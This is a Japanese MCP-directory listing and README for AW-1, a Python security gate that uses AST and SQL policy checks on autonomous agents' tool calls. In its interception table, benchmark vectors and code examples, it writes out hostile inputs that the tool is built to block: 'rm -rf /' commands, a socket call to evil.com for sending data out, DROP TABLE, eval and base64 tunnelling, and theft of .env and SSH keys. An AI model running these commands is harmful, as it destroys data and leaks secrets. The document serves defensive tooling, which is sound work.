mcpField
A
AW-1 Sovereign Circuit Breaker

AW-1 Sovereign Circuit Breaker

リモート
p20.laveto.netセキュリティ1今日更新
リポジトリ公式サイト

AW-1 Sovereign Circuit Breaker について

AW-1 Sovereign Circuit Breakerは、自律エージェントのツール呼び出しを保護するPython製セキュリティゲートです。Python実行前にASTと引数のポリシーを適用し、MCPサーバーとしてもセキュリティ検査機能を提供します。

主な機能

  1. 01ASTベースのポリシー適用
  2. 02ツールと引数の境界チェック
  3. 03アクター別のローリング頻度監視
  4. 04HMAC署名付き実行トークン
  5. 05関数と非同期ツールのゲート

活用シーン

  1. 01実行前の禁止されたPython操作の遮断
  2. 02エージェントのツール呼び出し頻度の制限
  3. 03クエリへの読み取り専用SQLポリシー適用
  4. 04MCPクライアント経由のツール呼び出し検査

MCP 対応

`python mcp_server.py`または`uvx aw1-circuit-breaker`でMCPサーバーとして実行できます。MCPクライアントからサーキットブレーカーのセキュリティ機能を呼び出せます。

設定

リモートサーバーはインストール不要です。クライアントを選んで設定をコピーするか、ワンクリックで導入できます。

エンドポイントhttps://p20.laveto.net/wisdom/mcp/sse
インストールコマンドをコピー
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

コマンドはターミナルで実行し、JSON は各クライアントの MCP 設定に貼り付けて再起動します。認可が必要なサーバーは初回接続時にログインを求めます。

ツール

詳細

HOL Blue member

aw1-circuit-breaker (v2.1.2)

HOL Guard

HOL Guardでインストールすると、HOL listingを確認し、各ランタイムの前に確認を求めます:

hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply

HOL Verified PyPI Python Matrix HOL Scanner CI Zero Dependencies Latency MCP Registry Glama Score License: Apache-2.0

Hashgraph Online(HOL)で紹介されました: 独立したソースレベルの詳細な分析をお読みください:ツール呼び出し前にaw1-breakerが確認すること。

aw1-breakerは、抽象構文木(AST)による静的ポリシー適用、宣言的なPolicy-as-Code、アクターごとのローリング速度モニター、暗号署名付きHMAC実行トークンを使用し、サブミリ秒の実行ループで自律型AIエージェントのツール呼び出しをインターセプトする、依存関係ゼロのPythonセキュリティサーキットブレーカーです。

セキュリティの適用範囲と境界: aw1-breakerは、Pythonランタイム実行の前に決定論的な静的ASTポリシーと引数レベルの境界ポリシーを適用します(禁止モジュール、危険な組み込み関数、SQLの変更、既知の回避パターンをブロックします)。アプリケーション層のポリシーゲートを提供し、任意の信頼できないコードを実行する場合に必要なオペレーティングシステムレベルのサンドボックス分離(コンテナ、gVisor、マイクロVMなど)を置き換えるのではなく、それを補完するように設計されています。


高並行性パフォーマンス(v2.1.0で検証済み)

tests/test_enterprise_engine.pyで、500個のタスクを同時実行するバッチを使った10,000件の非同期エージェントディスパッチのストレステストを通じて評価しました。

指標結果業界標準(LLM-as-a-Judge)
スループット8,485.0ディスパッチ/秒約5~20 req/sec
中央値レイテンシ(P50)0.0776 ms(77.6 µs)500~1,500 ms
90パーセンタイル(P90)0.0941 ms(94.1 µs)1,200~2,000 ms
95パーセンタイル(P95)0.1066 ms(106.6 µs)1,500~2,500 ms
99パーセンタイル(P99)0.2263 ms(226.3 µs)2,000~4,000 ms
ポリシー拒否レイテンシ< 0.13 ms(フェイルクローズ)該当なし(確率的)
決定論的保証構文に完全一致するAST文法マッチング確率的(約85~95%)

⚡ 10 秒で試す(インストール不要)

何もインストールせずに、ターミナルでサーキットブレーカーをリアルタイムにテストできます。

uvx aw1-circuit-breaker --demo

または、任意のスニペットを検証できます。

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

📦 インストール

pip install --upgrade aw1-circuit-breaker

(外部依存関係はありません。Python 3.10 から 3.13 の標準ライブラリのみを使用します。)


🛡️ エンタープライズガード(すぐに使える統合)

@guard.protect または汎用の @guard アダプターを使用して、エンタープライズの境界ポリシーをエージェントのツールに直接適用できます。

from aw1 import EnterpriseGuard, SecurityViolationError

guard = EnterpriseGuard(
    allowed_tools=["safe_query", "fetch_market_data"],
    max_velocity_per_min=60,
    max_financial_limit=250.0,
    readonly_sql=True
)

@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
    return db.execute(query)

# Benign queries execute with sub-millisecond policy check overhead
execute_database_query("SELECT id FROM users LIMIT 1;")

# Adversarial AST injections & SQL drops are halted deterministically:
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"
汎用関数と非同期処理のゲーティング
from aw1 import guard

@guard
async def run_agent_tool(tool_payload: dict) -> dict:
    return {"status": "ok"}

🔌 Model Context Protocol(MCP)サーバー

Python で直接実行します。

python mcp_server.py

または uvx 経由で実行します。

uvx aw1-circuit-breaker
MCP クライアントの設定

Claude Desktop または Cursor の設定に追加します。

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "uvx",
      "args": ["aw1-circuit-breaker"]
    }
  }
}

⚔️ エクスプロイトのインターセプト動作

AW-1 は、コードが Python のランタイム実行フレームに到達する前に、抽象構文木(AST)レベルで決定論的に動作します。確率的なプロンプトベースのガードレールはエンコーディングによる難読化に対して機能しませんが、AST 検査は定義されたポリシー境界に対する決定論的な文法解析を提供します。

インターセプトマトリックス
攻撃ベクトル攻撃者の手法LLM ガードレールの結果AW-1 AST サーキットブレーカー
動的実行eval(compile(...))意味的フィルターを回避🛑 作動(RESTRICTED_INVOCATION)
シェルへの脱出subprocess.Popen(['bash', ...])システムタスクに偽装🛑 作動(UNAUTHORIZED_MODULE_IMPORT)
ラテラルエクスフィルトレーションsocket.connect(('evil.com', 443))HTTP フェッチに偽装🛑 作動(UNAUTHORIZED_MODULE_IMPORT)
SQL 破壊DROP TABLE users;プロンプトジェイルブレイクで回避🛑 作動(HALT_SQL_MUTATION_FORBIDDEN)
ダンダーイントロスペクション().__class__.__subclasses__()キーワードフィルターを回避🛑 作動(FAIL_CLOSED_REFLECTION_BREACH)
ショーケースの実行
python examples/enterprise_guard_demo.py

🔬 自律型ブレイクアウト・ベンチマークスイート(BRK Gauntlet)

tests/test_breakout_gauntlet.py を使って、標準化された BRK Adversarial Vector Suite に対し、1,000 回のランダム化された実行サイクルで評価しました。

ベクトルエクスプロイトの仕組み/攻撃シグネチャ検出ポリシーレイヤー単一ディスパッチの中央値レイテンシベンチマークスイートの結果
BRK-101Base64 による難読化と eval() トンネリング: ネストされた Base64 構造にコマンド文字列をエンコードします。レイヤー 0 AST デコンパイラー(ast_unpacker.py)0.0389 ms(38.9 µs)インターセプト(ベクトル合格率 100%)
BRK-102未許可のソケット外部送信: 認証情報(.env、SSH キー)の抽出を狙う生の TCP ソケットです。ネットワークソケットゲート(UNAUTHORIZED_MODULE_IMPORT)0.0412 ms(41.2 µs)インターセプト(ベクトル合格率 100%)
BRK-103権限昇格パターン: プロセス権限の変更、chmod 777、またはファイル変更の呼び出しです。フェイルクローズポリシーアービトレーター0.0374 ms(37.4 µs)インターセプト(ベクトル合格率 100%)
BENIGN高速パス操作: 読み取り専用クエリー、有効なパラメーター構造、無害な API ディスパッチです。高速パス AST 検証バイパス0.0210 ms(21.0 µs)許可(誤検知率 0%)

注:合格率 100% という指標は、テスト条件下で指定された合成ベクトルセット(BRK-101 から BRK-103)を封じ込めたことを示すものであり、任意の未知のエクスプロイトクラスに対する普遍的な封じ込めを主張するものではありません。

1,000 サイクルの Gauntlet をローカルで再現する

標準の Python で評価スイート全体を実行できます(外部依存関係は不要です)。

python tests/test_breakout_gauntlet.py

⏱️ 実行時レイテンシーテレメトリ

決定論的なセキュリティによって、エージェントの実行を遅らせてはなりません。以下は、Python 3.13 で 1,000 回の反復にわたり benchmark.py を使って裏付けた実測レイテンシーです。

評価対象裏付けスクリプトP50 レイテンシーP95 レイテンシーP99 レイテンシー備考
AST ポリシーの完全検査(悪意のない入力)benchmark.py0.0889 ms0.1298 ms0.1645 msAST の完全な解析とルール検証
AST ポリシー検査(敵対的な入力)benchmark.py0.0520 ms0.0919 ms0.1051 ms最初のポリシー違反で短絡
シェル引数のサニタイズ処理benchmark.py0.0051 ms0.0096 ms0.0195 ms文字列引数のみを検証
複数タスクの同時ディスパッチtests/test_enterprise_engine.py0.0776 ms0.1066 ms0.2263 ms500 個の同時タスク(合計 10,000 件)

ローカルで再現するには:

python benchmark.py

🧩 フレームワークとの統合(LangGraph の例)

AW-1 は、ツールをディスパッチする前に、自律型エージェントの実行ノードへ直接組み込めます。

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

🌐 クラウド REST API ゲートウェイと本番環境の利用枠

AW-1 Circuit Breaker は、マイクロサービス、ブラウザーのフロントエンド、自律型エージェントプラットフォーム向けに、オプションの HTTP ポリシー調停ゲートウェイを提供します。

  • エンドポイント: POST https://p20.laveto.net/wisdom/api/v1/intercept
  • CORS: 有効(Access-Control-Allow-Origin: *)
  • 調停レイテンシーの中央値: < 0.80 ms(トランスポートを除く HTTP 往復時間)
リクエストペイロード
{
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "payload": "SELECT id, balance FROM accounts WHERE user_id = 42;"
}
レスポンススキーマ
1. 実行を許可(トークンを発行)
{
  "status": "PERMITTED",
  "verdict": "PASS",
  "permitted": true,
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "token": "YOUR_KEY_dev_dummy_key_000000000000",
  "reason": "Policy evaluation completed: execution safe",
  "latency_ms": 0.762,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
2. 脅威を封じ込め(フェイルクローズ)
{
  "status": "HALT_AND_CONTAIN",
  "verdict": "FAIL_CLOSED",
  "permitted": false,
  "actor_id": "agent-alpha-01",
  "tool_name": "bash",
  "token": null,
  "reason": "AST Circuit Breaker containment triggered",
  "latency_ms": 0.201,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
本番環境の利用枠と料金
プラン料金(USD / BWP)利用枠と機能アクセス/チェックアウト
開発者サンドボックス無料10,000 リクエスト、HMAC トークン発行コード HOL-BREAKER-2026
開発者 Pro$49 / BWP 690 /月50,000 件の監査リクエスト、ライセンスキー 1 個、オフライン HMAC 検証Pro にアップグレード
チーム/スタートアップ$199 / BWP 2,650 /月1,000,000 件の監査リクエスト、シートキー 5 個、Redis 状態同期Team にアップグレード
専用エンタープライズ$990 / BWP 13,200 /月シート数無制限、専用ゲートウェイテナント、カスタム法定レンズエンタープライズ窓口

エンタープライズの利用枠で認証するには、署名済みベアラートークンを Authorization ヘッダーに渡します。

curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
  -H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
  -H "Content-Type: application/json" \
  -d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'

ライセンス

Apache License, Version 2.0 の下でライセンスされています。詳細は LICENSE を参照してください。

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。